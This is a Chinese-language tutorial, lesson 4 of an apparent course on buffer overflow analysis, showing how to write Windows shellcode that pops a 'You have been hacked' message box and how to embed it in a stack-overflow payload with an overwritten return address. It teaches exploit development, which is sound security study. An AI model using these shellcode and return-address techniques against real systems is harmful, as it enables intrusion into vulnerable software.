缓冲区溢出分析第04课:ShellCode的编写

前言

ShellCode究竟是什么呢,其实它就是一些编译好的机器码,将这些机器码作为数据输入,然后通过我们之前所讲的方式来执行ShellCode,这就是缓冲区溢出利用的基本原理。那么下面我们就来编写ShellCode。为了简单起见,这里我只想让程序显示一个对话框:

图1

获取相关函数的地址

那么我们下面的工作就是让存在着缓冲区溢出漏洞的程序显示这么一个对话框。由于我在这里想要调用MessageBox()这个API函数,所以说首先需要获取该函数的地址,这可以通过编写一个小程序来获取:

#include <windows.h>
#include <stdio.h>
typedef void (*MYPROC)(LPTSTR);
int main()
{
        HINSTANCE LibHandle;
        MYPROC ProcAdd;
        LibHandle = LoadLibrary("user32");
        //获取user32.dll的地址
        printf("user32 = 0x%x\n", LibHandle);
        //获取MessageBoxA的地址
        ProcAdd=(MYPROC)GetProcAddress(LibHandle,"MessageBoxA");
        printf("MessageBoxA = 0x%x\n", ProcAdd);
	    getchar();
        return 0;
}

其显示结果如下:

图2

由结果可知,MessageBox在我的系统中的地址为0x77d507ea,当然这个地址在不同的系统中,应该是不同的,所以大家在编写ShellCode之前,一定要先查找所要调用的API函数的地址。

由于我们利用溢出操作破坏了原本的栈空间的内容,这就可能会在我们的对话框显示完后,导致程序崩溃,所以为了谨慎起见,我们这里还需要使用ExitProcess()函数来令程序终止。这个函数位于kernel32.dll里面,所以这里同样可以使用上述程序进行函数地址的查找,只要稍微修改一下就可以了:

图3

编写汇编代码

接下来需要编写欲执行的代码,一般有两种方式——C语言编写以及汇编编写,不论采用哪种方式,最后都需要转换成机器码。这里我比较倾向于使用汇编进行编写。请大家放心的是,虽然说是汇编,但其实是非常简单的汇编,请大家不要有畏惧的心理。

那么在进行汇编代码的编写之前,我想首先给大家讲一下如何利用汇编语言实现函数的调用。

可能大家也都知道,在汇编语言中,想调用某个函数,是需要使用CALL语句的,而在CALL语句的后面,需要跟上该函数在系统中的地址。因为我刚才已经获取到了MessageBox()与ExitProcess()函数的地址,所以我们在这里就可以通过CALL相应的地址的方法来调用相应的函数。但是实际上,我们在编程的时候,一般还是先将地址赋给诸如eax这样的寄存器,然后再CALL相应的寄存器,从而实现调用的。

如果说我们想要调用的函数还包含有参数,那么我们就需要先将参数利用PUSH语句从右至左分别入栈,之后再调用CALL语句。比如现在有一个Function(a,b,c)函数,我们想调用它,那么它的汇编代码就应该编写为:

push c

push b

push a

mov eax,AddressOfFunction

call eax

根据这个思想,我们就可以在VC++中利用内联汇编来调用ExitProcess()这个函数:

xor ebx, ebx

push ebx

mov eax, 0x7c81cafa

call eax

接下来编写MessageBox()这个函数调用。与上一个函数不同的是,这个API函数包含有四个参数,当然第一和第四个参数,我们可以赋给0值,但是中间两个参数都包含有较长的字符串,这个该如何解决呢?我们不妨先把所需要用到的字符串转换为ASCII码值:

Warning :

\x57\x61\x72\x6e\x69\x6e\x67

You have beenhacked!(by J.Y.) :

\x59\x6f\x75\x20\x68\x61\x76\x65\x20\x62\x65\x65\x6e\x20\x68\x61\x63\x6b\x65\x64\x21\x28\x62\x79\x20\x4a\x2e\x59\x2e\x29

然后将每四个字符为一组,进行分组,将不满四个字符的,以空格(\x20)进行填充:

Warning :

\x57\x61\x72\x6e

\x69\x6e\x67\x20

You have beenhacked!(by J.Y.) :

\x59\x6f\x75\x20

\x68\x61\x76\x65

\x20\x62\x65\x65

\x6e\x20\x68\x61

\x63\x6b\x65\x64

\x21\x28\x62\x79

\x20\x4a\x2e\x59

\x2e\x29\x20\x20

这里之所以需要以\x20进行填充,而不是\x00进行填充,就是因为我们现在所利用的是strcpy的漏洞,而这个函数只要一遇到\x00就会认为我们的字符串结束了,就不会再拷贝\x00后的内容了。所以这个是需要特别留意的。

由于我们的计算机是小端显示,因此字符的进展顺序是从后往前不断进栈的,即“Warning”的进栈顺序为:

push 0x20676e69

push 0x6e726157    // push "Warning"

“You have beenhacked!(by J.Y.)”的进栈顺序为:

push 0x2020292e

push 0x592e4a20

push 0x79622821

push 0x64656b63

push 0x6168206e

push 0x65656220

push 0x65766168

push 0x20756f59    // push "You have beenhacked!(by J.Y.)"

那么下面问题来了,我们如何获取这两个字符串的地址,从而让其成为MessageBox()的参数呢?其实这个问题也不难,我们可以利用esp指针,因为它始终指向的是栈顶的位置,我们将字符压栈后,栈顶位置就是我们所压入的字符的位置,于是在每次字符压栈后,可以加入如下指令:

mov eax,esp 或 mov ecx,esp

这样就可以了,最后再进行函数的调用:

push ebx

push eax

push ecx

push ebx

mov eax,0x77d507ea

call eax           // call MessageBox

综合以上,完整的代码如下:

int main()
{
	_asm{
		sub esp,0x50
		xor ebx,ebx
		push ebx		   // cut string
		push 0x20676e69
		push 0x6e726157    // push "Warning"
		mov eax,esp
                push ebx             // cut string
		push 0x2020292e
		push 0x592e4a20
		push 0x79622821
		push 0x64656b63
		push 0x6168206e
		push 0x65656220
                push 0x65766168
		push 0x20756f59    // push "You have been hacked!(by J.Y.)"
		mov ecx,esp        

		push ebx
		push eax
		push ecx
		push ebx
		mov eax,0x77d507ea
		call eax           // call MessageBox
                push ebx
                mov eax, 0x7c81cafa
                call eax            // call ExitProcess
	}
	return 0;
}

将汇编代码改写为ShellCode

然后在VC中在程序的“_asm”位置先下一个断点,然后按F5(Go),再单击“Disassembly”,就能够查看所转换出来的机器码(当然也可以使用OD或者IDA查看):

图4

将这些机器码提取出来,就是我们想让计算机执行的 ShellCode。然后我们再综合一下上节课所讲的内容,从而编写出完整的ShellCode:

char name[] = "\x41\x41\x41\x41\x41\x41\x41\x41"  // name[0]~name[7]
			  "\x41\x41\x41\x41"                      // EBP
			  "\x79\x5b\xe3\x77"                      // Return Address
			  "\x83\xEC\x50"                          // sub esp,0x50
			  "\x33\xDB"                              // xor ebx,ebx
			  "\x53"                                  // push ebx
			  "\x68\x69\x6E\x67\x20"
			  "\x68\x57\x61\x72\x6E"                  // push "Warning"
			  "\x8B\xC4"                              // mov eax,esp
			  "\x53"                                  // push ebx
			  "\x68\x2E\x29\x20\x20"
			  "\x68\x20\x4A\x2E\x59"
			  "\x68\x21\x28\x62\x79"
			  "\x68\x63\x6B\x65\x64"
			  "\x68\x6E\x20\x68\x61"
			  "\x68\x20\x62\x65\x65"
			  "\x68\x68\x61\x76\x65"
			  "\x68\x59\x6F\x75\x20"   // push "You have been hacked!(by J.Y.)"
			  "\x8B\xCC"                              // mov ecx,esp
			  "\x53"                                  // push ebx
			  "\x50"                                  // push eax
			  "\x51"                                  // push ecx
			  "\x53"                                  // push ebx
			  "\xB8\xea\x07\xd5\x77"
			  "\xFF\xD0"                              // call MessageBox
                          "\x53"
                          "\xB8\xFA\xCA\x81\x7C"
                          "\xFF\xD0";                             // call MessageBox

由于我们这里调用了MessageBox,因此需要在源程序中加入“LoadLibrary(“user32.dll”);”这条语句用于加载相应的动态链接库,而由于使用了LoadLibrary(),还需要加入“windows.h”这个头文件。然后运行程序,可以看到我们已经成功利用了漏洞:

图5

利用OD查看反汇编程序

最后可以再观察一下OD的数据以及堆栈区域的情况:

图6

这里大家可以自行对照。然后我们执行到main函数的返回位置,再按下F8(单步执行),经过jmp esp的跳转后,就来到了我们所编写的 ShellCode的位置:

图7

这个时候我们再通过OD来观察一下MessageBox()这个函数的参数入栈情况。先执行到0x0012FF98的位置:

图8

可以看到“Warning”字符串已经入栈,此时esp指向的就是栈帧,也就是“Warning”字符串的位置,而此时将esp的值赋给eax,那么也就可以理解为eax中保存的就是“Warning”字符串。

第二个字符串入栈的原理和这个是一样的,在这里不再赘述。然后就是调用MessageBox()函数:

图9

可以看到相应的参数已经入栈,那么对话框得以弹出,说明我们的漏洞利用是成功的。

小结

事实上,编写一个完整的ShellCode是没那么简单的,是需要考虑很多的问题的。比如我们这次所编写的这个简单的 ShellCode,可以完善的地方还有很多。而关于ShellCode的完善,我会在下次课程中详细讨论。

时间: 2024-10-08 21:49:15

缓冲区溢出分析第04课:ShellCode的编写的相关文章

缓冲区溢出分析第11课:整数溢出的原理

<缓冲区溢出分析>这一系列的内容是我为"i春秋"(www.ichunqiu.com)所录制的同名视频课程的讲稿汇总.每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解.而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解.整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理.有兴趣的朋友可以结合本文与配套视频进行学习. 前言 我们之前所研究的漏洞,都是非常经典的栈溢出漏洞,也是最为常见

缓冲区溢出分析第10课:Winamp缓冲区溢出研究

<缓冲区溢出分析>这一系列的内容是我为"i春秋"(www.ichunqiu.com)所录制的同名视频课程的讲稿汇总.每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解.而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解.整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理.有兴趣的朋友可以结合本文与配套视频进行学习. 前言 Winamp是一款非常经典的音乐播放软件,它于上世纪九十年代

缓冲区溢出分析第01课:缓冲区溢出分析导论

前言 <缓冲区溢出分析>这一系列的内容是我为"i春秋"所录制的同名视频课程的讲稿汇总.每次我都是在写完课程的文档后,再依据文档内容进行课程的讲解.而本系列的内容也是从零开始,来给大家由浅入深地进行缓冲区溢出漏洞的讲解.整个课程是理论与实践相结合,每讲完几个基础理论后,都会配以实际的软件中的漏洞进行分析,以帮助大家更好地理解漏洞的原理. 课程导论 漏洞指的是在硬件.软件.协议的具体实现或系统安全策略上存在的缺陷,通常是由程序的编写者在编写时的疏忽造成的.漏洞的存在使攻击者能够

缓冲区溢出分析第05课:编写通用的ShellCode

前言 我们这次的实验所要研究的是如何编写通用的ShellCode.可能大家会有疑惑,我们上次所编写的ShellCode已经能够很好地完成任务,哪里不通用了呢?其实这就是因为我们上次所编写的ShellCode,是采用"硬编址"的方式来调用相应API函数的.也就是说,我们需要首先获取所要使用函数的地址,然后将该地址写入ShellCode,从而实现调用.这种方式对于所有的函数,通用性都是相当地差,试想,如果系统的版本变了,那么很多函数的地址往往都会发生变化,那么调用肯定就会失败了.所以本次的

缓冲区溢出分析第06课:W32Dasm缓冲区溢出分析

漏洞报告分析 学习过破解的朋友一定听说过W32Dasm这款逆向分析工具.它是一个静态反汇编工具,在IDA Pro流行之前,是破解界人士必然要学会使用的工具之一,它也被比作破解界的"屠龙刀". 但是即便是这么一款破解界的"神器",竟然也是存在着缓冲区溢出的漏洞的.可见,它在破解无数程序的同时,其自身也存在着被"黑"的风险.那么我们可以首先分析一下漏洞报告: ##############################################

缓冲区溢出分析第03课:缓冲区溢出的利用

前言 上次我们已经讨论了缓冲区溢出的原理,而这次我们需要利用这个原理来构造条件,从而利用这个漏洞. 其实缓冲区溢出漏洞的利用主要是需要解决以下三个问题: 1.精确定位返回地址的位置 2.寻找一个合适的地址,用于覆盖原始返回地址 3.编写Shellcode到相应的缓冲区中 这次我们就结合实验程序,来解决上述三个问题,实现漏洞的利用. 精确定位返回地址的位置 缓冲区溢出利用的第一步,就是需要我们精确定位返回地址的位置.由于我们这次的程序比较简单,所以通过错误提示对话框,我们就能够判定返回地址的位置了

缓冲区溢出分析第08课:MS06-040漏洞研究——动态调试

前言 经过上次的分析,我们已经知道了MS06-040漏洞的本质,那么这次我们就通过编程实现漏洞的利用. 编写漏洞利用程序的框架 这里我使用的是VC++6.0进行编写,需要将包含有漏洞的netapi32.dll文件与工程文件放置在同一个目录下.程序如下: #include <windows.h> typedef void (*MYPROC)(LPTSTR, ...); int main() { char Str[0x320]; char lpWideCharStr[0x440]; int arg

缓冲区溢出分析第09课:MS06-040漏洞研究——深入挖掘

前言 经过前两次的分析,我们已经对Netapi32.dll文件中所包含的漏洞成功地实现了利用.在系统未打补丁之前,这确实是一个非常严重的漏洞,那么打了补丁之后,这个动态链接库是不是就安全了呢?答案是否定的.即便是打了补丁,虽说我们之前所分析的漏洞已被补上,但是这个程序中依旧存在着其它的问题. 对漏洞函数进行静态分析 我们之前所研究的Netapi32.dll的大小为309,008 字节,补丁后的文件大小为309,760 字节.我们用IDA Pro载入打过补丁后的DLL文件,找到之前出现问题的函数位

缓冲区溢出分析第02课: 缓冲区溢出的原理

创建含有缓冲区溢出隐患的程序 这里我们为了达到实验的要求,先来编写一个最简单的存在缓冲区溢出隐患的程序.这个程序我使用VC++6.0进行编写,并在Windows XP下执行.(这里请大家注意的是,如果你使用的是新版本的VC,由于微软加入了GS机制来防止缓冲区溢出情况的出现,那么本实验就无法实现.) 首先新建一个Win32控制台应用程序,然后输入以下C语言代码: #include "stdio.h" #include "string.h" char name[] =